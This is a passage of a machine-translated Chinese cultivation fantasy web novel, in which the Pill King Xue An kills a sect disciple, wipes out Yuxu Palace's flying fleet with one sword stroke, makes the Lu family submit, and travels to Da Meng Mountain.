    His real reason is probably that he does not want to see Long Xiangshan rise.


    As expected.


    Seeing Ling Ruoxu smiled slightly, "Wu Haoyang, you will be wrong, I don''t want you to pay back the cases you owe these years!"


    "I want this pill in your hands!"


    Wu Haoyang was shocked when he heard the words, and finally couldn''t restrain the grief and anger in his heart, "Ling Ruoxu, don''t you people in Yuxu Palace think that they are too deceiving?"


    Ling Ruoxu laughed, "Wu Haoyang, your Long Xiangshan can survive in the Central Territory for many years with such a weak strength. Isn''t it because of our Yuxu Palace''s shelter? Now hand over the medicine, otherwise you will die!".


    Before he could finish speaking, a wine glass flew straight over, and when he didn''t even react, he broke his mouthful of teeth.


    Then I heard Xue An lightly said: "I rewarded him with the pill, what are you? You dare to **** it in front of me?"

 Chapter 787： What is it?

    Ling Ruoxu was completely stunned by this blow.


    How much he thinks of his identity.


    Shenpin Zongmen Yuxu Palace is the true biography of the world, asking the first person outside the true list, no matter where he goes, he is an existence admired by thousands of people.


    is such a noble identity, but his mouth full of teeth was broken by this little wine glass, and the blood flow continued.


    How can this not make this arrogant Young Master Ling angry.


    At the same time, Ling Ruoxu felt a trace of shock in his heart.


    I clearly saw the wine glass when it flew, but couldn''t even resist, and was directly smashed into this look.


    How is this going?


    Could it be said that the cultivation base of this new Pill King is stronger than himself?


    no, I can not!


    I must have just been distracted, so I suffered such a big loss.


    thought to himself, Ling Ruoxu''s mouth flashed, and his injury recovered in a blink of an eye.


    For a strong man like him, this injury is nothing at all, the most important thing is that he can''t hold back his face.


    Therefore, when Ling Ruoxu recovered, he stared at Xue An with bitter eyes and said bitterly.


    "The surname is Xue, what do you mean? Do you mean you are going to have trouble with our Yuxu Palace for this little Long Xiangshan?"


    "What do I mean?" Xue An smiled faintly, and then said in a leisurely manner: "I just said very clearly, I rewarded them, and that is theirs! No one is qualified to take it away, understand?"


    "You..." Ling Ruoxu was going crazy.


    "If you do this, aren''t you afraid of causing a dispute between the Alchemy Guild and the Imperial Palace?"


    This is already using the forces of Yuxugong to intimidate Xue An.


    The people of the Alchemy Guild couldn''t help showing solemn expressions.


    Although the Alchemy Guild possesses a huge amount of wealth, it has always survived in the cracks of many powerful sects because of the lack of strong combat power.


    What''s more, this Imperial Palace is very close to Banten City. If there is a feud for this, it will be troublesome.


    Therefore, an old and respectful judging elder in the Alchemy Guild stood up and began to mediate.


    "Ling Master, please calm down. We can sit down and talk about it slowly, thinking that our Alchemy Guild has always had a good relationship with your school, so why hurt your peace!"


    "Yes! Lord Ling, our new Dan King is young and vigorous, so don''t take it too seriously!" Another respected elder came out to agree.


    Seeing this scene, many people present couldn''t help looking at Xue An.


    However, he discovered that the new Dan Wang was drinking with his head down at the moment, and he did not express any opinion on it.


    Many people say that this should just be subdued.


    Ling Ruoxu naturally also noticed this.


    And the weakness of the Alchemy Guild made his arrogance more and more arrogant.


    "Hehe, young and vigorous? This is like someone who has never been young! But I hurt people for no reason. This matter must be explained to me with satisfaction, otherwise it will not be so easy to expose."


    "What do you mean is..." a Dan Dao elder asked.


    Ling Ruoxu raised his hand to An Yan next to Xue An, and said pretentiously: "Let this woman toast me three glasses of wine, and I won''t care about it. Otherwise, this matter will never end!"


    There was a low commotion among the crowd.


    All the alchemy elders also looked suspicious, and then all looked at Xue An.


    I saw Xue An still drinking slowly at this moment, as if he hadn''t heard these words.


    But his silence made many people mistakenly believe that he had acquiesced, and they couldn''t help but feel a little contempt and disdain.


    No matter where it is, a man who can''t even protect his own woman will be looked down upon.


    And Xue An��s current performance has disappointed those wealthy daughters.


    Although they are all satisfied with Xue An''s appearance and talents, his current attitude is really unflattering.


    Ling Ruoxu''s eyes lit up.


    He has long been salivating at An Yan.


    If you can take this opportunity to get close, that would be great.


    And several elders of the Alchemy Guild glanced at each other, and then the oldest and most prestigious elder said.


    "My lord, look at this matter..."


    Before he finished speaking, Xue An, who was drinking with his head down, let out a chuckle.


    "Disputes? Want my Yan''er to toast you? It''s ridiculous! Believe it or not, if your sect dares to invade, I alone can destroy it all?"


    Boom!


    This time the whole audience shook.


    Many people shook their heads secretly, knowing that there is no way to do anything about it.


    Because you are in the same domain, the dignity of the teacher cannot be slandered by anyone!


    Once ���� appears, it must be an endless game.


    As expected.


    Seeing Ling Ruoxu''s beard and eyebrows exploded, he roared, "You dare to insult my teacher? Go to death!"


    talking. Ling Ruoxu slapped his hand and volleyed it.


    A wave of aura of innate aura turned into a series of swords that looked like substance, and went straight to Xue An.


    This is Ling Ruoxu''s fame stunt, Yu Xu Ruozhen.


    Ling Ruoxu also won the title of the first person outside the questioning list by this trick.


    I saw the shadows of swords, lights and swords spreading over the sky, and the gusts of wind that were set off forced everyone around him far away.


    Everyone was slightly discolored by the power of this palm.


    Especially the elders of the Alchemy Guild, their faces are all anxious, but the matter is over, they can''t persuade them.


    But when the wind composed of these swords and shadows was three feet away from Xue An.


    Xue An raised his eyes and glanced, wherever he looked.


    These winds suddenly turned into a breeze.


    As for the swords transformed by the innate aura, they disappeared invisible.


    Everyone was taken aback.


    How is this going?


    Why did such a powerful move suddenly disappear?


    Ling Ruoxu was also taken aback, and immediately said with a grinning smile: "Sure enough, there are two sons, but those who insult my Yuxu Palace will undoubtedly die, take his life!"


    Ling Ruoxu gave a soft yell, the whole body surged, and then he stepped out, and instantly appeared in front of Xue An, then raised his fist and blew.


    The powerful power contained in this punch even made many onlookers horrified.


    But in this case, Xue An raised the glass with his left hand, and took a sip.


    is still drinking at this time, is this person crazy?


    There was just a trace of doubt in everyone''s hearts.


    Ling Ruoxu''s fist was almost reaching Xue An, his eyes flashed with cruel excitement, and he was thinking in his heart.


    As long as this man is killed, then this beauty who is full of beauty will be mine!


    But before the triumph of the corner of his mouth emerged Xue An, who was drinking, did not raise his head, just stretched out one hand and patted it with a palm.


    A huge palm shadow suddenly appeared, and then crashed on Ling Ruoxu.


    Click.


    After a sore fracture.


    Ling Ruoxu made a very short scream, and then started from the head, the body shortened and disintegrated, and finally turned into a pool of **** flesh.


    One palm!


    The true biography of the Yuxu Palace was photographed into flesh.


    The audience was speechless.


    Until a moment later, I heard someone roar, "I didn''t expect it to be you!"

 Chapter 788： Who is Xue An?

    On this pill king grand ceremony, Xue An patted the real life Ling Ruoxu of Yuxu Palace into mud with a single palm.


    The viewers are all horrified.


    Even the wealthy daughters who had just misunderstood Xue An and thought he was ��unworthy of being called a man�� looked at Xue An with idiotic eyes.


    Because Xue An''s method of smashing Ling Ruoxu with one palm is really terrifying, and that kind of understatement without the slightest pyrotechnic atmosphere means that his strength is obviously far better than this Ling Ruoxu.


    But the elders of the Alchemy Guild, all of them pale at the moment.


    They all feel that this time they have forged an endless beam with Yuxu Palace.


    Because Ling Ruoxu is the true biography of Yuxu Palace.


    This also means that he is likely to be the next elder and even the head teacher of the Imperial Palace.


    Such a carefully cultivated talent is now slapped to death by Xue An.


    One can imagine how angry this Yuxu Palace was after learning about it.


    But at this moment, someone yelled, "I didn''t expect it to be you!"


    Everyone was shocked, and then followed the reputation.


    I saw Lu Lie, who had been sitting in a chair aside watching the development of the situation. At this moment, standing in the air with a hideous face, he was staring at Xue An with extremely cold eyes.


    How is this going?


    Everyone was surprised.


    Obviously, I don��t understand why the Lu Family Patriarch, who was still calm just now, suddenly became so angry?


    Even Lu Baiyue, at this moment, has a stunned look, and doesn''t understand what his father is doing.


    At this time, I saw Lu Lie say in an extremely cold voice: "Xue An, kill my eldest son, destroy my ancestral land, these things are yours!"


    heard this sentence.


    Including Lu Baiyue, everyone''s eyes widened.


    What happened before the Lu family has been blasted to Zhongyu, and people basically know it.


    But who could have thought that this incident would actually be the work of this newly promoted King Dan?


    Several judges elders can no longer think about Yuxu Palace at this moment.


    The power of the Lu family is not inferior to the Imperial Palace at all, and it is even worse.


    So they all said in astonishment: "Patriarch Lu, this kind of thing is no joke, and how can you be so sure that these things are our Dan King?"


    "I''m kidding?" Lu Lie shook his head, then gritted his teeth and said, "I''m not in the mood to make jokes with you. As for how to know... Hehe! The sky has eyes. At the beginning, I found a trace of Lu in the ancestral land of Lu family. The soul of the ancestors of the family, and there is a breath on this soul!"


    "I felt a little familiar when I first saw Xue An, but because the breath was too weak, I didn''t recognize it immediately!"


    "But when he shot Ling Ruoxu to death, I recognized this breath at a glance!"


    As he said, Lu Lie stared at Xue An, and said in an extremely cold voice: "Xue An, what else do you have to say?"


    Hearing Lu Lie''s questioning, everyone''s eyes fell on Xue An, wanting to see how he responds.


    But just then.


    A little brilliance suddenly appeared in the pool of flesh and blood on the ground, and then rose into the air with a thunderous force, and flew towards the sky.


    "Not good! This is Ling Ruoxu''s soul, he wants to go back to report!" Elder Alchemy exclaimed.


    "Send someone to stop him!" and the elder shouted.


    Xue An smiled: "No need! Let him report the letter!"


    "But..." What else these people want to say.


    Xue An no longer paid attention, but turned his head to look at Lu Lie, who was full of resentment, and said lightly: "You are right, the one who killed your eldest son Lu Jinglong and destroyed the soul of your Lu family ancestor, it''s me!"


    Hearing what Xue An said, everyone was shocked.


    The pill technique is through the sky, and it is the real legend that extinguishes the Yuxu Palace. Now it is said that it was him who caused the Lu family''s heavy losses.


    How many secrets are still hidden in this man?


    Lu Lie smirked in anger, "Very good, you dare to admit it!"


    Following his voice.


    The Lu family guards who followed him came forward silently, standing behind Lu Lie, staring at Xue An with stern eyes.


    The powerful auras firmly locked Xue An, as long as Lu Lie gave an order, these guards would rush to tear him apart without hesitation.


    "Today, I will avenge the Lu family ancestors and my son Jinglong!"


    After that, Lu Lie stepped forward and wanted to do it.


    At this moment, Lu Baiyue suddenly shouted, "Father, don''t do it yet!"


    Lu Lie was taken aback when he heard the words, "Baiyue, you..."


    Lu Baiyue stepped forward, "Father, I have a few words I want to ask this Xue An. It''s not too late to start after asking!"


    Lu Lie''s face was sinking, but he still stood aside silently.


    I saw Lu Baiyue take a deep breath, and then said in a deep voice: "Xue An, I only ask you one sentence, why do you want to kill my elder brother Lu Jinglong and destroy my Lu family ancestral land? Who is behind you? ?"


    Hearing Lu Baiyue''s questioning, Lu Lie couldn''t help but shake, then nodded secretly.


    My second daughter is still attentive, and if I just moved my hands on a hot mind, I might have missed the real murderer.


    Xue An smiled, then shook his head.


    "No one is the leader, killing Lu Jinglong, and destroying your Lu family ancestor It''s just me who did it! As for why I did this...a little man, I can''t explain it!"


    "You...." Lu Baiyue became angry.


    And Lu Lie couldn''t help it anymore, and roared: "Do it, tear him to pieces!"


    Lu Lie''s personal guards are all elites, and they are all very powerful.


    and usually train together, good at the art of fighting together.


    The general golden immortal powerhouse did not dare to grab his front lightly.


    So when Lu Lie gave an order, these guards rushed forward very well-trained to prepare.


    But at this moment, an angry shout came from outside, "Who is Xue An? Get out and die!"


    The sound rolled in like thunder, shocking the audience.


    Obviously, the speaker is a peerless strong man.


    Someone exclaimed: "This voice...seems to be Xia Dingchan, the head of the Imperial Palace!"


    Hearing these words, all the elders of the Alchemy Guild and the crowd onlookers changed their expressions.


    Even Lu Lie and Lu Baiyue, father and daughter, have a look on their faces.


    Then Lu Baiyue whispered a few words in Lu Lie''s ear.


    Lu Lie pondered for a moment, then nodded slightly.


    Xue An smiled at An Yan on the side, "Wife, see how I slaughter these guys!"


    After all, Xue An drank the wine in the cup, then took a step, and instantly appeared in the midair outside the Danlou. .


    The crowd in the hall of the Danlou followed closely behind them, rushing out one after another, looking up.


    From this look, many people''s hearts can''t help but sink.

 Chapter 789： The red dust is 30,000 feet, my sword will destroy it

    Because the sky at this moment is already occupied by densely packed boats.


    And the leader was a flying boat that was so huge that it was even several times larger than the boat that Ling Ruoxu took when he came.


    this moment.


    A group of people stood on the bow of this flying boat.


    These people are all powerful and powerful.


    But everyone''s eyes were attracted by the person in front.


    I saw this person wearing a nine-beam flat crown on his head, wearing a diadem with a faint brilliance and embroidered stars, just like an emperor.


    "Yes, it is Xia Dingchan, the head of Yuxu Palace!"


    There was an uproar in the crowd.


    This Xia Dingchan has been in charge of the Shenpin Zongmen Yuxu Palace for thousands of years, and his cultivation has been unfathomable.


    There are even rumors that his cultivation has reached the realm of true immortality, and he is the strong one among the strong.


    I didn''t expect him to be here today.


    Beside him, there was a figure that seemed a little transparent.


    Although I can''t see clearly, I can guess that this should be Ling Ruoxu''s escaped soul.


    As expected.


    I saw this soul pointing at Xue An in the air, and said bitterly: "Master, it was this person who destroyed my physical body and almost broke my soul! Please master for me!"


    Xia Dingchan snorted coldly when he heard the words, "Don''t worry, my apprentice, since the teacher is here today, it is natural that people who dare to provoke the authority of the Imperial Palace will pay the price!"


    Ling Ruoxu was overjoyed, and then glanced at Xue An with a triumphant and wild look.


    In his opinion, the master has already spoken, and this Xue An is dead.


    Xue An was unmoved, just smiled faintly, "Why, have you beaten your apprentice master?"


    Xia Dingchan sneered, "Heaven-ranked alchemist, the new king of alchemy, sounds really bluff! It''s a pity, you shouldn''t offend our Yuxu Palace! Now kneel down, I can see you have been with your alchemy guild for so many years For the sake of friendship, only destroy your physical body and spare your soul!"


    Xue An laughed up to the sky, "If this is the case, then I will give you the Imperial Palace a way to survive! No matter who it is, as long as you kneel within three breaths, I can spare him not to die!"


    This statement came out.


    Everyone present was shocked.


    You need to know what Xue An is facing now, but the absolute ruler in this area of ??tens of thousands of miles, the Yuxu Palace, which is known as the No. 1 Shenpin Sect!


    He even dared to speak like this, is he really afraid of death?


    Lu Lie couldn''t help showing a sneer at the corner of his mouth.


    Lu Baiyue just said two simple words in his ear.


    Stay calm and not restless, just watch the changes.


    It seems that these two sentences are indeed correct.


    Because this Xue An is simply looking for death.


    Even Lu Lie didn''t dare to shout crazy in front of so many masters.


    What is he relying on?


    dare to be so arrogant?


    At this moment, at least in Lu Lie''s heart, this Xue An is dead.


    There are many people who share the same idea with him.


    However, some people looked at Xue An''s back in the midair with almost admiring eyes.


    such as those wealthy daughters.


    in their eyes.


    At this moment, Xue An stood in the air, alone to the countless experts in the Imperial Palace, but he could still say this calmly and even arrogantly.


    This kind of style is peerless.


    at least makes these little girls who are full of heroism completely intoxicated.


    The onlookers have different thoughts.


    But everyone in the Yuxu Palace in the air was all frightened.


    "Presumptuous!"


    "Looking for death!"


    The sound of shouts like this one after another.


    And the master Xia Dingchan even sneered.


    "I dare to be so stiff when I die. It seems that I can''t see the coffin without crying and kill him!"


    Xia Dingchan didn''t have to do it himself. With an order, the many powerful people under the Yuxu Palace all started together.


    For a time, countless swords and swordsmans and various powerful spells came straight to Xue An.


    Under the light of ���� brilliance, Xue An''s figure became more aloof.


    Many people closed their eyes helplessly and couldn''t bear to look any longer.


    But at this moment, I saw Xue An suddenly stamped his foot.


    boom.


    Under one foot, the void vibrated.


    These sword air blade lights that rushed were shocked into powder and disappeared invisible.


    Then Xue An smiled at Xia Dingchan and Ling Ruoxu beside him, "Did you have a good fight? If you are happy, it''s me now!"


    After that, Xue An stretched out his hand and plunged into the void, and then suddenly gave a soft voice, "Open!"


    Following the voice, Xue An pulled out a golden magic sword with various runes from the void.


    Then Xue An raised the sword with both hands, and the light in his eyes was bright.


    "The red dust is thirty thousand feet, my sword...destroy it!"


    Boom!


    The sword stretched a hundred miles away in an instant, and then it was directly cut down as shown above.


    The power of this sword is so powerful that it directly shatters all the ground that the sword power affects.


    The golden sword light rose up into the sky, like an Optimus pillar, still visible thousands of miles away.


    Countless people opened their eyes wide and watched this scene incredible.


    And these people onlookers have lost the ability to think and can only stare blankly.


    Originally calm and relaxed, Xia Dingchan, who looked like an emperor, was also shocked by this sword, and couldn''t help screaming in shock: "Hurry up!"


    But this reminder has come too late.


    Sword Qi is already approaching.


    just heard a crackling sound, and then the boats in the Imperial Palace were like fireworks, bursting one by one.


    As for the so-called strong men, they couldn''t even make the screams and they were cut into powder by this sword.


    at last.


    The sword light dissipated, and the sword energy converged.


    Looking at the midair again, it has become empty.


    The boat that once covered the sky and the sun has been completely flattened by this sword.


    At this moment, Xia Dingchan''s embarrassed figure appeared in the void.


    And Ling Ruoxu was so fateful that he did not die, but followed Xia Dingchan''s side.


    It''s just the two masters and apprentices at this moment, and they are in a panic.


    Especially Xia Dingchan, the Nine Liangping Heavenly Crown was also crooked, and the dress on his body was also cut to pieces by the sword qi, turning from an emperor to a beggar.


    At this time, Xia Dingchan didn''t even bother to take care of this. At this moment, his heart was filled with fear.


    Because if he hadn''t just escaped into the void by relying on his unique Golden Immortal magical power, then he would have died under the sword just now.


    Therefore, Xia Dingchan was completely frightened by this sword. As soon as his figure stood firm, he didn''t even dare to look at Xue An, turned and ran.


    While running, he was thinking in his heart.


    What is the origin of this man?


    Why is there such a powerful kendo cultivation base?


    But fortunately, it seems that he doesn''t have any magical powers, so he saved his life!


    is celebrating secretly.


    Suddenly he heard a light voice ringing in his ears.


    "Cause and effect!"


    This sentence came out. .


    Xia Dingchan and Ling Ruoxu''s soul were all set in the air.


    Then Xue An snapped his fingers, "Reverse!"

 Chapter 790： Lu Jiafu

    Snapped.


    Xia Dingchan, who had been famous for a long time and had been in charge of Yuxu Palace for thousands of years, quickly withered.


    In the blink of an eye, he changed from a handsome middle-aged man to a sluggish old man.


    As for Ling Ruoxu, he didn''t even survive this process, and was directly shocked by the powerful force of cause and effect.


    In the void, there is silence.


    Inside and outside of Banten City, these onlookers, whether they were the alchemy elders of the Alchemy Guild, or the cultivators of the family sects from the Guiyi domains, all watched this scene dumbfounded.


    Because it all came too fast.


    The imperial palace was completely destroyed in the blink of an eye.


    Even this Xia Dingchan, who is known for his high cultivation and brutality, is not the man''s enemy.


    "This sword... is simply terrifying! It is impossible for a strong golden immortal to have such a terrifying sword intent!" A swordsman muttered to himself in shock.


    As for the elders of the Alchemy Guild, they were all shaking with excitement.


    Some people have already shed tears.


    For so many years, although the Alchemy Guild has shocking wealth, but because it does not have its own top-level combat power, it has been bullied by various powerful factions.


    For example, in this Yuxu Palace, although they have maintained the necessary respect for the Alchemy Guild on the surface, they have used various names to worship the Alchemy Guild more than once in private.


    At that time, the first person of the guild, the ancestor Quedan, squeezed the people inside the guild, but for the people of Yuxu Palace and the major sects, it can be said to be like kneeling and licking.


    In this regard, the other members of the Alchemy Guild could only hold back.


    Even until just now, these alchemy elders were still thinking about calming things down and suppressing this matter as much as possible.


    But who could have imagined that this mighty god-level sect Yuxu Palace would be destroyed by the sword of the new Lord Pill King?


    This time... Alchemy Guild is finally about to come out.


    But to say who is the most shocking in the audience, it also belongs to the Lu family.


    Lu Lie was trembling all over and his face was as pale as paper, watching this scene blankly.


    He just wanted to kill Xue Ange aggressively in order to avenge the Lu family ancestors and his own son.


    But when he saw Xue An''s shocking sword, he suddenly realized how ignorant and ridiculous his thoughts just now were.


    Because he asked himself that he couldn''t avoid this sword at all.


    Not only can he not avoid it, but maybe there are not many people in the middle area who can avoid it.


    Therefore, when Lu Lie was frightened, he faintly felt fortunate.


    If you just did it in advance by yourself, would you be the ones who died?


    And Lu Baiyue, who was on the side, didn''t know what to say anymore, she could only watch it quietly, her brain blank.


    At this time, there was only half a breath of Xia Dingchan left in the air. He tried his last bit of strength and said, "Who are you?"


    Xue An stood proudly and smiled faintly, "Me? I am Xue An!"


    A touch of despair appeared in Xia Dingchan''s muddy eyes.


    He didn''t believe that this man would be an unknown person.


    Because the sword just now, as well as the magical powers he used behind, were beyond Xia Dingchan''s understanding.


    Even Xia Dingchan felt that even the descendant of Yuanzong''s Blood Net Mountain could not have such a powerful strength.


    That''s why he asked.


    But Xue An''s answer disappointed him.


    Therefore, he was very unwilling, but the rapidly aging body could no longer support him to speak.


    So he could only look at Xue An bitterly in the end, and then there was a gurgling noise in his throat.


    In the end, the brilliance dissipated in the eyes, and aging became a pile of dead bones.


    He may be the only golden immortal powerhouse in the middle area.


    Even his soul didn''t escape, and disappeared together.


    When everyone saw this, all were silent.


    At this moment, Xue An turned his head, looked at the Lu family father and daughter, and then smiled slightly.


    "I remember you just said that you would kill me to avenge your Lu family ancestor? I just have time now, so let''s come together! Save the trouble!"


    Upon hearing these words, everyone in the Lu family stepped back subconsciously.


    Even the elite guards all bowed their heads at this time, and they didn''t even dare to look at Xue An.


    This is the crush from strength.


    There is no reason, rude and direct.


    As for Lu Lie, his face was blue and red at this time, and his eyes were shining with complicated divine light. It was obvious that his heart was going through a stormy sea.


    At this moment, Lu Baiyue on the side was the first to regain consciousness, and then took a step forward and said in a deep voice, "Xue An, you are powerful. Our Lu family is not an opponent. The previous incidents have been exposed. Our Lu family has surrendered. !"


    Everyone was shocked upon hearing the words.


    However, many parents of the world admire Lu Baiyue''s decision.


    Because under the current circumstances, Lu Baiyue''s decision was the most correct choice.


    Although the ancestral land is important.


    But compared with the life and death of a family, it is still far worse.


    As for the dead Lv''s son, it is even less worth mentioning.


    Lu Lie naturally understood this truth.


    He hesitated and struggled just now, but felt that if he lowered his head, he was too aggrieved.


    So after hearing his daughter say this, Lu Lie hesitated for a moment, then sighed, lowered his head and stopped talking.


    Xue quietly looked at Lu Baiyue and the Lu family behind her.


    No one dared to look at him as far as his eyes could.


    Only Lu Baiyue was pale, but she was still looking up at Xue An forcibly.


    Then Xue An laughed.


    "Give up! Haha, have you thought about it, will I let your Lu family go?"


    Everyone in the Lu family shook together.


    Lu Baiyue trembled even more, but then she took a deep breath and said calmly: "Yes, it was our Lu family who collided just now. Our Lu family will definitely give you a satisfactory explanation on this matter! I just beg you to let us go!"


    After that, Lu Baiyue knelt down after licking his clothes.


    She knelt The guards of the Lu family also knelt down.


    Only Lu Lie stood there, but after struggling for a while, he also slowly knelt down to the ground.


    Xue An looked unmoved.


    The elders of the Alchemy Guild looked at each other, and then took a step forward, "My lord..."


    They want to intercede for this Lu Baiyue.


    Because what Lu Baiyue said was also a profound-level alchemist from the Alchemy Guild.


    Moreover, Lu Baiyue is very popular, and many people want to plead for her.


    Xue An waved his hand and motioned them not to speak.


    Then he glanced at Lu Baiyue and said lightly: "Didn''t you ask me why I wanted to kill your brother Lu Jinglong?"


    "I will tell you now that he tried to **** my things and coveted Yan''er, so I killed him more than ten times in a row! And the ancestor spirits of your Lu family ancestors blindly protected shortcomings, so I will kill them all. "

 Chapter 791： Speak Dan 3rd

    Lu Baiyue was shocked, knowing what Xue An said was true.


    Because she knows the virtues of her brother too well.


    Xue An continued at this time: "Originally, you should have killed your Lu family, but because you are also an alchemist, I will forgive you once! There will be another time, killing without mercy!"


    "Yes!" Lu Baiyue responded with difficulty.


    As for Lu Lie, at this moment, he was panic and decadent.


    Because he understands that this is the best ending.


    In this world, the strong is respected.


    What''s more, this incident was all my own fault from beginning to end.


    It is a fluke to be able to preserve the Gero family.


    Then Xue An looked around the audience, a faint smile appeared at the corner of his mouth, then turned and returned to the Danlou hall.


    The banquet continued.


    But everyone''s attitude towards Xue An was different.


    If it was the respect for an alchemy master before, it is now the respect for a peerless powerhouse.


    And the news that Xue An smashed Yuxu Palace with a sword on the Pill King''s Grand Ceremony, and made Chaotianfang Lu Family''s head down with his supreme power, spread quickly.


    For a time, the Eastern Region shook.


    Those who heard it were all stunned and couldn''t believe it.


    Even those divine sects were silent this time.


    Xue Anwei''s name finally shook the land like a nine-day scorching sun.


    The next period of time.


    Xue An lived in Banten City.


    So Banten City became a holy place for countless alchemists to worship.


    Every day, alchemists and cultivators from all over the place poured into this city.


    These cultivators wanted to take this opportunity to have a good relationship with the new Dan King.


    Especially after the news that Xue An gave a holy pill reward to a small sect named Long Xiangshan, the eyes of these cultivators were red.


    If this is to make a good relationship, there will be a reward or something, wouldn''t it be nice?


    As for these alchemists, they want to take this opportunity to learn some advanced alchemy.


    As a result, Banten City has become more lively than ever.


    Every day there are countless alchemists waiting outside the alchemy tower, watching eagerly, hoping to see this new alchemy king.


    In this situation, Xue An simply convened a lecture meeting.


    The news came.


    The eyes of these alchemists were green, and what''s more, they were sitting on the ground directly outside the alchemy, taking up positions in advance.


    Wait for the day to talk about the Dan Conference.


    Almost all the alchemists in the middle domain rushed over.


    Standing on top of the pill building and looking at it, there was a large area underneath, all of which were alchemists wearing various pill robes.


    But when Xue An, wearing a white pill robe, appeared behind the top of the pill building.


    The noisy crowd instantly fell silent.


    Under the gaze of countless lights, Xue An smiled slightly and began to tell the secrets of the alchemy.


    Xue Angui is an immortal and has traveled to the heavens, so his vision is not imaginable by people in this world.


    Take what he is talking about now, although they are the most basic alchemy among the heavens and the world, they are enough to shock these alchemists.


    In this way, Xue An talked about Dan on the Danlou for three days.


    These alchemists listened utterly for three days.


    Three days later, looking at the alchemy of these alchemists, almost all of them have improved.


    A lot of people even got started after hearing Xue An''s talk about Dan, and they were directly promoted to one or two ranks.


    In short, after these three days of talking about the pill, Xue An''s name of the pill king was completely sung.


    Everyone was convinced by this, and no one had the slightest objection.


    A few more days passed.


    Xue An still lives in Judan Palace.


    Although the elders of Alchemy Dao invited Xue An to live in the Danlou several times, because An Yan liked the elegance of this small courtyard, Xue An refused.


    This also virtually increased the status of this Judan Palace.


    Now no one knows that Dan King Xue An lives here.


    Therefore, countless alchemists are willing to trade here.


    In just a few days, this Judan Palace has become the leading Chamber of Commerce in Banten City.


    For this, Dong Lingxin was naturally very grateful, and he became more respectful to Xue An''s family.


    On this day, she was in the lobby discussing business with several high-level alchemists.


    Suddenly, a woman in strong clothes walked in from outside the door.


    As soon as she appeared, she immediately attracted the attention of many people in the hall.


    Because the clothes this woman wears are so unique.


    An extremely tight dress revealed her slim figure.


    At the same time, in the center of her forehead, there is a small red sword-shaped red seal, which makes her look different.


    But the most striking thing was the huge sword behind her back.


    The hilt of the sword was slanting about half a foot above the shoulders, and the red tassels on the jaws swayed as they walked, and the hearts of the swaying people were shaken by it.


    Such a special woman naturally attracted the attention of many people.


    Then the woman went straight to Dong Lingxin and said in a cold tone: "There is a person named Xue An who lives here?"


    Dong Ling''s heart was tight, because she didn''t know whether this person was an enemy or a friend, so after a moment of indulgence, she asked, "What are you looking for Master Xue for?"


    "Don''t ask about these, I see him with very important things!" The woman said coldly.


    Dong Lingxin hesitated, but nodded, "Well, please follow me!"


    With that, Dong Lingxin led the woman to the small courtyard where Xue An lived in the back.


    At this moment, Xue An is playing with his two daughters in the courtyard.


    I saw him fold out a lot of paper cranes. These paper cranes danced in the air, arranged various words or pictures from time to time, and the two daughters who were teased giggled.


    When I was having a great time.


    Dong Lingxin walked into the courtyard and said respectfully: "My lord, someone wants to see you!"


    The woman who followed Dongling''s mind took the lead and said coldly, "Are you Xue An?"


    Xue An didn''t raise his head, but said lightly, "Is Xue Liuli disciplined his subordinates like this?"


    A word made this woman go wild.


    "you����."


    Xue An raised his eyes and glanced at the woman.


    The woman was so shocked that she couldn''t help but stepped back.


    Because she found that Xue An''s eyes looked terrifying There was a trace of sarcasm in the calm, and under the surface there was a chilling deterrent.


    At this time, the woman remembered what Miss Qian Qianwan had asked before leaving.


    When facing this person, you must be respectful, and don''t be negligent.


    At that time, the woman was still a little disapproving, and it was only then that she understood what the lady said was true.


    At this time, the woman looked respectful a lot, and bowed to Xue An, "Excuse me, my lord, I am the personal sword slave next to the lady, Jian Qi!"


    Thinking about it in Xue An''s arms, he suddenly chuckled, covering his mouth, "Sword Seven...This name is so weird, is there another Sword Eight?"


    Jian Qi shook his head, and said very seriously: "We only have seven people, so there is no Jian Ba!"


    However, Xue An was too lazy to care whether she was Jianqi or Jianqibai. He just said indifferently: "Why didn''t Xue Liuli come?"

 Chapter 792： No solution

    At first, Xue An had said clearly outside of Xuanlei City, three months later let Xueliu come to Wandan City to find himself.


    Unexpectedly, she did not come, but sent a personal sword slave.


    Jian Qi smiled bitterly when he heard the words, "The young lady is now entangled in trivial matters and can''t come here in person, so she sent me here!"


    "Oh? Trivial? Where is she now?"


    Jian Qi took a deep breath, "It''s in Da Meng Mountain, and the lady has ordered me to lead you along with you."


    Back in Xuan Lei City, Xue Liuli said that the remains of the Great Dream Sword Master would be opened in three months.


    It should be almost time to calculate now.


    It''s just that she was entangled by what trivial matters in Damengshan?


    Although Xue An had some doubts, he didn''t say anything. He just nodded slightly, "That''s good! I''ll leave tomorrow!"


    The news that Xue An was leaving quickly spread.


    The many elders in the Alchemy Guild all arrived, wanting to keep Xue An for a little longer.


    But Xue An had decided to leave, and in desperation, these people had no choice but to lead the many alchemists who came after hearing the news, and sent Xue An and his party away hundreds of miles away.


    "I wish my lord a smooth journey here and come back soon!" All the alchemy elders bowed and saluted.


    And Xiao Dancheng who decided to stay here was even more reluctant.


    Xue An smiled, "Okay, let''s all go back! I''m just going here to see the excitement, and I will be back soon!"


    Jian Qi watched this scene somewhat surprised.


    She didn''t expect that Xue An would have such a high prestige, and a simple trip attracted so many people to see off.


    Maybe... he can really solve the crisis that Miss is facing now.


    This thought came to Jian Qi''s mind, but immediately shook his head mockingly.


    Although this person should have a good cultivation base, and he is a very rare heavenly alchemist, he is still far behind that person.


    Thinking of this, Jian Qi couldn''t help sighing, the sad expression in his eyes darkened again.


    at last.


    Those seeing off are gone.


    Xue An boarded the crane wheel and drove with the whip of Jian Qi, and the crane wheel rose into the air and flew towards the sky.


    Banten City is located in the northwest of Zhongyu.


    The Big Dream Mountain is in the southeast of Central Region.


    Therefore, the journey this time was more than ten thousand miles, and it ran across the entire territory of the Central Region.


    But fortunately, this crane car is very powerful, and when passing the prosperous city, Xue An will let it stop, and then lead the family around it.


    So I don''t feel how hard this journey is.


    at last.


    After rushing for more than half a month.


    They entered the territory of the southeast of Central Region.


    The customs here and the northwest are completely different.


    There are dense mountain forests everywhere, in which various beasts and insects live, and there are also very savage natives living in the dense forests.


    These aborigines feed on the flesh and blood of beasts and are very vicious.


    Even the general golden immortal powerhouse, dare not go deep into it alone.


    But even so, you can still see the tall city in the dense forest from time to time.


    After going forward for a few days.


    A high mountain standing above the ground is in sight.


    This mountain is so tall, most of the body is hidden in the clouds of the sky.


    "Master Xue, this is Da Mengshan!" Jian Qi introduced.


    Xue An nodded slightly.


